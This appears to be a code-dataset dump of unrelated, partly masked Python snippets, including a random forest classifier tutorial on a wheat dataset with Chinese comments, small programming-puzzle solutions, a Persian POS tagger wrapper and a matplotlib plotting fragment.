<|reserved_special_token_1|>
<|reserved_special_token_0|>
data = pd.read_csv('wheat.csv', index_col=0)
print(data.head(6))
data = data.fillna(data.mean())
print(data)
<|reserved_special_token_0|>
X = data.iloc[:, :7]
y = data.iloc[:, 7]
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3,
random_state=300)
print(X_train.shape)
print(y_train.shape)
print(X_test.shape)
print(y_test.shape)
<|reserved_special_token_0|>
model = RandomForestClassifier(n_estimators=10)
model.fit(X_train, y_train)
y_pred = model.predict(X_test)
print("""Predictions of test set:
%s""" % y_pred)
print(model.feature_importances_)
print(model.score(X_test, y_test))
model = RandomForestClassifier(n_estimators=30)
model.fit(X_train, y_train)
print(model.score(X_test, y_test))
<|reserved_special_token_0|>
clf = tree.DecisionTreeClassifier()
clf = clf.fit(X_train, y_train)
print(clf.score(X_test, y_test))
model = RandomForestClassifier(n_estimators=1)
model.fit(X_train, y_train)
print(model.score(X_test, y_test))
<|reserved_special_token_1|>
import pandas as pd
data = pd.read_csv('wheat.csv', index_col=0)
print(data.head(6))
data = data.fillna(data.mean())
print(data)
from sklearn.model_selection import train_test_split
X = data.iloc[:, :7]
y = data.iloc[:, 7]
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3,
random_state=300)
print(X_train.shape)
print(y_train.shape)
print(X_test.shape)
print(y_test.shape)
from sklearn.ensemble import RandomForestClassifier
model = RandomForestClassifier(n_estimators=10)
model.fit(X_train, y_train)
y_pred = model.predict(X_test)
print("""Predictions of test set:
%s""" % y_pred)
print(model.feature_importances_)
print(model.score(X_test, y_test))
model = RandomForestClassifier(n_estimators=30)
model.fit(X_train, y_train)
print(model.score(X_test, y_test))
from sklearn import tree
clf = tree.DecisionTreeClassifier()
clf = clf.fit(X_train, y_train)
print(clf.score(X_test, y_test))
model = RandomForestClassifier(n_estimators=1)
model.fit(X_train, y_train)
print(model.score(X_test, y_test))
<|reserved_special_token_1|>
import pandas as pd
#1. 读入数据
#从本地读入“wheat.csv”文件,指定index_col参数为00,即将第一列作为每行的索引。用head()函数查看前几行数据。
data = pd.read_csv("wheat.csv",index_col=0)
print(data.head(6))
#2. 缺失值处理
#该数据集中包含部分缺失值,在模型训练时会遇到特征值为空的问题,故对缺失值进行处理,
## 用DataFrame的fillna方法进行缺失值填充,填充值为用mean方法得到的该列平均值。
data = data.fillna(data.mean())
print(data)
#3. 划分数据集从sklearn.model_selection模块导入train_test_split函数,
# 并将返回值放入变量X_train、X_test、y_train和y_test之中,指定参数test_size=0.3,
# 即将70%的数据样本作为训练集,将30%的数据样本作为测试集。输出训练集和测试集大小。
from sklearn.model_selection import train_test_split
X = data.iloc[:,:7]
y = data.iloc[:,7]
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=300)
print(X_train.shape)
print(y_train.shape)
print(X_test.shape)
print(y_test.shape)
#4.构建随机森林模型并训练
#从sklearn.ensemble模块中导入RandomForestClassifier函数,
## 并用其构建随机森林分类模型,指定n_estimators参数为1010,
# 即使用1010棵决策树构建模型。将训练集传入模型进行模型训练。
from sklearn.ensemble import RandomForestClassifier
model= RandomForestClassifier(n_estimators=10)
model.fit(X_train, y_train)
#5.利用随机森林模型预测分类
#运用predict方法预测测试集中样本的分类,该方法返回一个预测结果数组,输出预测的分类结果。
y_pred = model.predict(X_test)
print("Predictions of test set:\n%s"%y_pred)
#6. 查看各特征重要性
#用feature_importances_属性查看每个特征的重要性,相对而言第11、22、55、77个特征在随机森林分类中的重要性强一些。
print(model.feature_importances_)
#7. 评估模型准确率
#利用score方法计算模型在测试集上的预测准确率。
print(model.score(X_test,y_test))
#8. 调整随机森林中的树木数量
#随机森林中的数目数量是模型中较为重要的参数,
#通过指定n_estimators参数进行设置,设置为30时模型的性能较10时有所提升,
#但设置为100时,其准确度不但没有提升已不明显,甚至可能下降,可能已经过拟合。
model= RandomForestClassifier(n_estimators=30)
model.fit(X_train, y_train)
print(model.score(X_test,y_test))
#9. 与决策树分类进行比较
#决策树与随机森林在分类效果上进行比较,
# 决策树模型的分类准确率与仅含单棵决策树的随机森林类似,
# 但是总体上随机森林的准确度要高于决策树,但其模型的解释性较差,无法轻易得到树的基本结构。
from sklearn import tree
clf = tree.DecisionTreeClassifier()
clf = clf.fit(X_train, y_train)
print(clf.score(X_test,y_test))
model= RandomForestClassifier(n_estimators=1)
model.fit(X_train, y_train)
print(model.score(X_test,y_test))
|
flexible
|
{
"blob_id": "7da2be1b530faa8ce9a8570247887e8e0d74c310",
"index": 711,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(data.head(6))\n<mask token>\nprint(data)\n<mask token>\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n<mask token>\nmodel.fit(X_train, y_train)\n<mask token>\nprint(\"\"\"Predictions of test set:\n%s\"\"\" % y_pred)\nprint(model.feature_importances_)\nprint(model.score(X_test, y_test))\n<mask token>\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\n<mask token>\nprint(clf.score(X_test, y_test))\n<mask token>\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\n",
"step-3": "<mask token>\ndata = pd.read_csv('wheat.csv', index_col=0)\nprint(data.head(6))\ndata = data.fillna(data.mean())\nprint(data)\n<mask token>\nX = data.iloc[:, :7]\ny = data.iloc[:, 7]\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3,\n random_state=300)\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n<mask token>\nmodel = RandomForestClassifier(n_estimators=10)\nmodel.fit(X_train, y_train)\ny_pred = model.predict(X_test)\nprint(\"\"\"Predictions of test set:\n%s\"\"\" % y_pred)\nprint(model.feature_importances_)\nprint(model.score(X_test, y_test))\nmodel = RandomForestClassifier(n_estimators=30)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\n<mask token>\nclf = tree.DecisionTreeClassifier()\nclf = clf.fit(X_train, y_train)\nprint(clf.score(X_test, y_test))\nmodel = RandomForestClassifier(n_estimators=1)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\n",
"step-4": "import pandas as pd\ndata = pd.read_csv('wheat.csv', index_col=0)\nprint(data.head(6))\ndata = data.fillna(data.mean())\nprint(data)\nfrom sklearn.model_selection import train_test_split\nX = data.iloc[:, :7]\ny = data.iloc[:, 7]\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3,\n random_state=300)\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\nfrom sklearn.ensemble import RandomForestClassifier\nmodel = RandomForestClassifier(n_estimators=10)\nmodel.fit(X_train, y_train)\ny_pred = model.predict(X_test)\nprint(\"\"\"Predictions of test set:\n%s\"\"\" % y_pred)\nprint(model.feature_importances_)\nprint(model.score(X_test, y_test))\nmodel = RandomForestClassifier(n_estimators=30)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\nfrom sklearn import tree\nclf = tree.DecisionTreeClassifier()\nclf = clf.fit(X_train, y_train)\nprint(clf.score(X_test, y_test))\nmodel = RandomForestClassifier(n_estimators=1)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\n",
"step-5": "import pandas as pd\n#1. 读入数据\n#从本地读入“wheat.csv”文件,指定index_col参数为00,即将第一列作为每行的索引。用head()函数查看前几行数据。\ndata = pd.read_csv(\"wheat.csv\",index_col=0)\nprint(data.head(6))\n\n#2. 缺失值处理\n#该数据集中包含部分缺失值,在模型训练时会遇到特征值为空的问题,故对缺失值进行处理,\n## 用DataFrame的fillna方法进行缺失值填充,填充值为用mean方法得到的该列平均值。\ndata = data.fillna(data.mean())\nprint(data)\n\n\n#3. 划分数据集从sklearn.model_selection模块导入train_test_split函数,\n# 并将返回值放入变量X_train、X_test、y_train和y_test之中,指定参数test_size=0.3,\n# 即将70%的数据样本作为训练集,将30%的数据样本作为测试集。输出训练集和测试集大小。\nfrom sklearn.model_selection import train_test_split\nX = data.iloc[:,:7]\ny = data.iloc[:,7]\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=300)\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n\n#4.构建随机森林模型并训练\n#从sklearn.ensemble模块中导入RandomForestClassifier函数,\n## 并用其构建随机森林分类模型,指定n_estimators参数为1010,\n# 即使用1010棵决策树构建模型。将训练集传入模型进行模型训练。\nfrom sklearn.ensemble import RandomForestClassifier\nmodel= RandomForestClassifier(n_estimators=10)\nmodel.fit(X_train, y_train)\n\n#5.利用随机森林模型预测分类\n#运用predict方法预测测试集中样本的分类,该方法返回一个预测结果数组,输出预测的分类结果。\ny_pred = model.predict(X_test)\nprint(\"Predictions of test set:\\n%s\"%y_pred)\n\n#6. 查看各特征重要性\n#用feature_importances_属性查看每个特征的重要性,相对而言第11、22、55、77个特征在随机森林分类中的重要性强一些。\nprint(model.feature_importances_)\n\n#7. 评估模型准确率\n#利用score方法计算模型在测试集上的预测准确率。\nprint(model.score(X_test,y_test))\n\n#8. 调整随机森林中的树木数量\n#随机森林中的数目数量是模型中较为重要的参数,\n#通过指定n_estimators参数进行设置,设置为30时模型的性能较10时有所提升,\n#但设置为100时,其准确度不但没有提升已不明显,甚至可能下降,可能已经过拟合。\nmodel= RandomForestClassifier(n_estimators=30)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test,y_test))\n\n#9. 与决策树分类进行比较\n#决策树与随机森林在分类效果上进行比较,\n# 决策树模型的分类准确率与仅含单棵决策树的随机森林类似,\n# 但是总体上随机森林的准确度要高于决策树,但其模型的解释性较差,无法轻易得到树的基本结构。\nfrom sklearn import tree\nclf = tree.DecisionTreeClassifier()\nclf = clf.fit(X_train, y_train)\nprint(clf.score(X_test,y_test))\n\nmodel= RandomForestClassifier(n_estimators=1)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test,y_test))",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
if (sum(prices) - prices[k]) // 2 == taken:
print('Bon Appetit')
else:
print(taken - (sum(prices) - prices[k]) // 2)
<|reserved_special_token_1|>
n, k = map(int, input().split())
prices = [int(temp) for temp in input().split()]
taken = int(input())
if (sum(prices) - prices[k]) // 2 == taken:
print('Bon Appetit')
else:
print(taken - (sum(prices) - prices[k]) // 2)
<|reserved_special_token_1|>
# https://www.hackerrank.com/challenges/bon-appetit
n, k = map(int, input().split())
prices = [int(temp) for temp in input().split()]
taken = int(input())
if (sum(prices) - prices[k]) // 2 == taken:
print("Bon Appetit")
else:
print(taken - (sum(prices) - prices[k])// 2)
|
flexible
|
{
"blob_id": "aa15f684d23d97a45a416b1fdcfb192710ebb56f",
"index": 2151,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif (sum(prices) - prices[k]) // 2 == taken:\n print('Bon Appetit')\nelse:\n print(taken - (sum(prices) - prices[k]) // 2)\n",
"step-3": "n, k = map(int, input().split())\nprices = [int(temp) for temp in input().split()]\ntaken = int(input())\nif (sum(prices) - prices[k]) // 2 == taken:\n print('Bon Appetit')\nelse:\n print(taken - (sum(prices) - prices[k]) // 2)\n",
"step-4": "# https://www.hackerrank.com/challenges/bon-appetit\n\nn, k = map(int, input().split())\nprices = [int(temp) for temp in input().split()]\ntaken = int(input())\nif (sum(prices) - prices[k]) // 2 == taken:\n print(\"Bon Appetit\")\nelse:\n print(taken - (sum(prices) - prices[k])// 2)\n\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
class Solution:
<|reserved_special_token_0|>
<|reserved_special_token_1|>
class Solution:
def maximumTime(self, time: str) ->str:
ans = ''
for i in range(5):
if time[i] != '?':
ans += time[i]
continue
if i == 0:
if time[1] in ['0', '1', '2', '3', '?']:
ans += '2'
else:
ans += '1'
elif i == 1:
if ans[0] == '1' or ans[0] == '0':
ans += '9'
else:
ans += '3'
elif i == 3:
ans += '5'
elif i == 4:
ans += '9'
return ans
|
flexible
|
{
"blob_id": "e7494104ab98df2b640f710fa69584802b3e1259",
"index": 3032,
"step-1": "<mask token>\n",
"step-2": "class Solution:\n <mask token>\n",
"step-3": "class Solution:\n\n def maximumTime(self, time: str) ->str:\n ans = ''\n for i in range(5):\n if time[i] != '?':\n ans += time[i]\n continue\n if i == 0:\n if time[1] in ['0', '1', '2', '3', '?']:\n ans += '2'\n else:\n ans += '1'\n elif i == 1:\n if ans[0] == '1' or ans[0] == '0':\n ans += '9'\n else:\n ans += '3'\n elif i == 3:\n ans += '5'\n elif i == 4:\n ans += '9'\n return ans\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
import logging
from blogofile.cache import bf
github = bf.config.controllers.github
from github2.client import Github
github_api = Github()
config = {
"name": "Github",
"description": "Makes a nice github project listing for the sidebar",
"priority": 95.0,
}
def get_list(user):
"""
Each item in the list has:
name, url, description, forks, watchers, homepage, open_issues
"""
return [g for g in github_api.repos.list(user) if not g.fork]
def run():
github.logger = logging.getLogger(config['name'])
github.repo_list = get_list(github.user)
github.full_repo_list = github_api.repos.list(github.user)
|
normal
|
{
"blob_id": "ee2cf6c472fa955ba3718bf3a3f60b66811b4907",
"index": 4705,
"step-1": "<mask token>\n\n\ndef get_list(user):\n \"\"\"\n Each item in the list has:\n name, url, description, forks, watchers, homepage, open_issues\n\n \"\"\"\n return [g for g in github_api.repos.list(user) if not g.fork]\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef get_list(user):\n \"\"\"\n Each item in the list has:\n name, url, description, forks, watchers, homepage, open_issues\n\n \"\"\"\n return [g for g in github_api.repos.list(user) if not g.fork]\n\n\ndef run():\n github.logger = logging.getLogger(config['name'])\n github.repo_list = get_list(github.user)\n github.full_repo_list = github_api.repos.list(github.user)\n",
"step-3": "<mask token>\ngithub = bf.config.controllers.github\n<mask token>\ngithub_api = Github()\nconfig = {'name': 'Github', 'description':\n 'Makes a nice github project listing for the sidebar', 'priority': 95.0}\n\n\ndef get_list(user):\n \"\"\"\n Each item in the list has:\n name, url, description, forks, watchers, homepage, open_issues\n\n \"\"\"\n return [g for g in github_api.repos.list(user) if not g.fork]\n\n\ndef run():\n github.logger = logging.getLogger(config['name'])\n github.repo_list = get_list(github.user)\n github.full_repo_list = github_api.repos.list(github.user)\n",
"step-4": "import logging\nfrom blogofile.cache import bf\ngithub = bf.config.controllers.github\nfrom github2.client import Github\ngithub_api = Github()\nconfig = {'name': 'Github', 'description':\n 'Makes a nice github project listing for the sidebar', 'priority': 95.0}\n\n\ndef get_list(user):\n \"\"\"\n Each item in the list has:\n name, url, description, forks, watchers, homepage, open_issues\n\n \"\"\"\n return [g for g in github_api.repos.list(user) if not g.fork]\n\n\ndef run():\n github.logger = logging.getLogger(config['name'])\n github.repo_list = get_list(github.user)\n github.full_repo_list = github_api.repos.list(github.user)\n",
"step-5": "import logging\n\nfrom blogofile.cache import bf\ngithub = bf.config.controllers.github\n\nfrom github2.client import Github\ngithub_api = Github()\n\nconfig = {\n \"name\": \"Github\",\n \"description\": \"Makes a nice github project listing for the sidebar\",\n \"priority\": 95.0,\n }\n\ndef get_list(user):\n \"\"\"\n Each item in the list has:\n name, url, description, forks, watchers, homepage, open_issues\n\n \"\"\"\n return [g for g in github_api.repos.list(user) if not g.fork]\n\n\ndef run():\n github.logger = logging.getLogger(config['name'])\n github.repo_list = get_list(github.user)\n github.full_repo_list = github_api.repos.list(github.user)\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
print('oi')
<|reserved_special_token_1|>
from ShazamAPI import Shazam
import json
import sys
print('oi')
<|reserved_special_token_1|>
from ShazamAPI import Shazam
import json
import sys
print("oi")
|
flexible
|
{
"blob_id": "c248d653556ecdf27e56b57930832eb293dfd579",
"index": 5413,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint('oi')\n",
"step-3": "from ShazamAPI import Shazam\nimport json\nimport sys\nprint('oi')\n",
"step-4": "from ShazamAPI import Shazam\nimport json\nimport sys\n\nprint(\"oi\")\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
# Представлен список чисел.
# Необходимо вывести элементы исходного списка,
# значения которых больше предыдущего элемента.
from random import randint
list = []
y = int(input("Введите количество элементов в списке>>> "))
for i in range(0, y):
list.append(randint(1, 10))
new = [el for num, el in enumerate(list) if list[num - 1] < list[num]]
print(f"Исходный список: {list}")
print(f"Новый список список: {new}")
|
normal
|
{
"blob_id": "bfc4f5e90b7c22a29d33ae9b4a5edfb6086d79f4",
"index": 2344,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in range(0, y):\n list.append(randint(1, 10))\n<mask token>\nprint(f'Исходный список: {list}')\nprint(f'Новый список список: {new}')\n",
"step-3": "<mask token>\nlist = []\ny = int(input('Введите количество элементов в списке>>> '))\nfor i in range(0, y):\n list.append(randint(1, 10))\nnew = [el for num, el in enumerate(list) if list[num - 1] < list[num]]\nprint(f'Исходный список: {list}')\nprint(f'Новый список список: {new}')\n",
"step-4": "from random import randint\nlist = []\ny = int(input('Введите количество элементов в списке>>> '))\nfor i in range(0, y):\n list.append(randint(1, 10))\nnew = [el for num, el in enumerate(list) if list[num - 1] < list[num]]\nprint(f'Исходный список: {list}')\nprint(f'Новый список список: {new}')\n",
"step-5": "# Представлен список чисел.\n# Необходимо вывести элементы исходного списка,\n# значения которых больше предыдущего элемента.\nfrom random import randint\n\nlist = []\ny = int(input(\"Введите количество элементов в списке>>> \"))\nfor i in range(0, y):\n list.append(randint(1, 10))\n\nnew = [el for num, el in enumerate(list) if list[num - 1] < list[num]]\nprint(f\"Исходный список: {list}\")\nprint(f\"Новый список список: {new}\")\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class StanfordPOSTagger(stanford.StanfordPOSTagger):
<|reserved_special_token_0|>
def __init__(self, model_filename, path_to_jar, *args, **kwargs):
self._SEPARATOR = '/'
super(stanford.StanfordPOSTagger, self).__init__(*args,
model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)
<|reserved_special_token_0|>
def tag_sents(self, sentences):
refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)
return super(stanford.StanfordPOSTagger, self).tag_sents(refined)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class StanfordPOSTagger(stanford.StanfordPOSTagger):
"""
>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')
>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])
[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]
"""
def __init__(self, model_filename, path_to_jar, *args, **kwargs):
self._SEPARATOR = '/'
super(stanford.StanfordPOSTagger, self).__init__(*args,
model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)
def tag(self, tokens):
return self.tag_sents([tokens])[0]
def tag_sents(self, sentences):
refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)
return super(stanford.StanfordPOSTagger, self).tag_sents(refined)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class POSTagger(SequenceTagger):
"""
>>> tagger = POSTagger(model='resources/postagger.model')
>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])
[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]
"""
class StanfordPOSTagger(stanford.StanfordPOSTagger):
"""
>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')
>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])
[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]
"""
def __init__(self, model_filename, path_to_jar, *args, **kwargs):
self._SEPARATOR = '/'
super(stanford.StanfordPOSTagger, self).__init__(*args,
model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)
def tag(self, tokens):
return self.tag_sents([tokens])[0]
def tag_sents(self, sentences):
refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)
return super(stanford.StanfordPOSTagger, self).tag_sents(refined)
<|reserved_special_token_1|>
from __future__ import unicode_literals
from nltk.tag import stanford
from .SequenceTagger import SequenceTagger
class POSTagger(SequenceTagger):
"""
>>> tagger = POSTagger(model='resources/postagger.model')
>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])
[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]
"""
class StanfordPOSTagger(stanford.StanfordPOSTagger):
"""
>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')
>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])
[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]
"""
def __init__(self, model_filename, path_to_jar, *args, **kwargs):
self._SEPARATOR = '/'
super(stanford.StanfordPOSTagger, self).__init__(*args,
model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)
def tag(self, tokens):
return self.tag_sents([tokens])[0]
def tag_sents(self, sentences):
refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)
return super(stanford.StanfordPOSTagger, self).tag_sents(refined)
<|reserved_special_token_1|>
# coding: utf8
from __future__ import unicode_literals
from nltk.tag import stanford
from .SequenceTagger import SequenceTagger
class POSTagger(SequenceTagger):
"""
>>> tagger = POSTagger(model='resources/postagger.model')
>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])
[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]
"""
class StanfordPOSTagger(stanford.StanfordPOSTagger):
"""
>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')
>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])
[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]
"""
def __init__(self, model_filename, path_to_jar, *args, **kwargs):
self._SEPARATOR = '/'
super(stanford.StanfordPOSTagger, self).__init__(model_filename=model_filename, path_to_jar=path_to_jar, *args, **kwargs)
def tag(self, tokens):
return self.tag_sents([tokens])[0]
def tag_sents(self, sentences):
refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)
return super(stanford.StanfordPOSTagger, self).tag_sents(refined)
|
flexible
|
{
"blob_id": "1ac3630e6433a2d11c716b558640cab7c559f6ba",
"index": 4483,
"step-1": "<mask token>\n\n\nclass StanfordPOSTagger(stanford.StanfordPOSTagger):\n <mask token>\n\n def __init__(self, model_filename, path_to_jar, *args, **kwargs):\n self._SEPARATOR = '/'\n super(stanford.StanfordPOSTagger, self).__init__(*args,\n model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)\n <mask token>\n\n def tag_sents(self, sentences):\n refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)\n return super(stanford.StanfordPOSTagger, self).tag_sents(refined)\n",
"step-2": "<mask token>\n\n\nclass StanfordPOSTagger(stanford.StanfordPOSTagger):\n \"\"\"\n\t>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n def __init__(self, model_filename, path_to_jar, *args, **kwargs):\n self._SEPARATOR = '/'\n super(stanford.StanfordPOSTagger, self).__init__(*args,\n model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)\n\n def tag(self, tokens):\n return self.tag_sents([tokens])[0]\n\n def tag_sents(self, sentences):\n refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)\n return super(stanford.StanfordPOSTagger, self).tag_sents(refined)\n",
"step-3": "<mask token>\n\n\nclass POSTagger(SequenceTagger):\n \"\"\"\n\t>>> tagger = POSTagger(model='resources/postagger.model')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n\nclass StanfordPOSTagger(stanford.StanfordPOSTagger):\n \"\"\"\n\t>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n def __init__(self, model_filename, path_to_jar, *args, **kwargs):\n self._SEPARATOR = '/'\n super(stanford.StanfordPOSTagger, self).__init__(*args,\n model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)\n\n def tag(self, tokens):\n return self.tag_sents([tokens])[0]\n\n def tag_sents(self, sentences):\n refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)\n return super(stanford.StanfordPOSTagger, self).tag_sents(refined)\n",
"step-4": "from __future__ import unicode_literals\nfrom nltk.tag import stanford\nfrom .SequenceTagger import SequenceTagger\n\n\nclass POSTagger(SequenceTagger):\n \"\"\"\n\t>>> tagger = POSTagger(model='resources/postagger.model')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n\nclass StanfordPOSTagger(stanford.StanfordPOSTagger):\n \"\"\"\n\t>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n def __init__(self, model_filename, path_to_jar, *args, **kwargs):\n self._SEPARATOR = '/'\n super(stanford.StanfordPOSTagger, self).__init__(*args,\n model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)\n\n def tag(self, tokens):\n return self.tag_sents([tokens])[0]\n\n def tag_sents(self, sentences):\n refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)\n return super(stanford.StanfordPOSTagger, self).tag_sents(refined)\n",
"step-5": "# coding: utf8\n\nfrom __future__ import unicode_literals\nfrom nltk.tag import stanford\nfrom .SequenceTagger import SequenceTagger\n\n\nclass POSTagger(SequenceTagger):\n\t\"\"\"\n\t>>> tagger = POSTagger(model='resources/postagger.model')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n\nclass StanfordPOSTagger(stanford.StanfordPOSTagger):\n\t\"\"\"\n\t>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n\tdef __init__(self, model_filename, path_to_jar, *args, **kwargs):\n\t\tself._SEPARATOR = '/'\n\t\tsuper(stanford.StanfordPOSTagger, self).__init__(model_filename=model_filename, path_to_jar=path_to_jar, *args, **kwargs)\n\n\tdef tag(self, tokens):\n\t\treturn self.tag_sents([tokens])[0]\n\n\tdef tag_sents(self, sentences):\n\t\trefined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)\n\t\treturn super(stanford.StanfordPOSTagger, self).tag_sents(refined)\n",
"step-ids": [
3,
5,
7,
8,
9
]
}
|
[
3,
5,
7,
8,
9
] |
def merge(self, intervals):
intervals.sort()
arr = []
for i in intervals:
if len(arr) == 0 or arr[-1][1] < i[0]:
arr.append(i)
else:
arr[-1][1] = max(arr[-1][1], i[1])
return arr
|
normal
|
{
"blob_id": "a65dfca1773c1e4101ebfb953e0f617a2c345695",
"index": 334,
"step-1": "<mask token>\n",
"step-2": "def merge(self, intervals):\n intervals.sort()\n arr = []\n for i in intervals:\n if len(arr) == 0 or arr[-1][1] < i[0]:\n arr.append(i)\n else:\n arr[-1][1] = max(arr[-1][1], i[1])\n return arr\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
}
|
[
0,
1
] |
<|reserved_special_token_0|>
def show_humidity():
a.clear()
a.plot(fds, humidity, 'b.--')
a.set_ylabel('Humidity %', color='b')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='blue')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('b')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('b')
toolbar.update()
f.canvas.draw()
def show_light():
a.clear()
